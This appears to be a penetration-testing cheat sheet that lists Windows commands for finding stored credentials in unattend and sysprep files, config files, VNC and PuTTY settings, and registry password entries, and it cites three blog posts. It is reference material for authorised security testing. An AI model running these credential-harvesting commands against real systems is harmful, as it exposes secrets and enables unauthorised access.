Stored Windows credentials

Discovering credentials stored on the system.
cd c:/
more c:\sysprep.inf
more c:\sysprep\sysprep.xml
more c:\unattend.xml
more %WINDIR%\Panther\Unattend\Unattended.xml
more %WINDIR%\Panther\Unattended.xml
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
dir /b /s vnc.ini
%AllUsersProfile%Application Data\McAfee\Common Framework\SiteList.xml
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

References:

https://pentestlab.blog/2017/04/19/stored-credentials/ https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation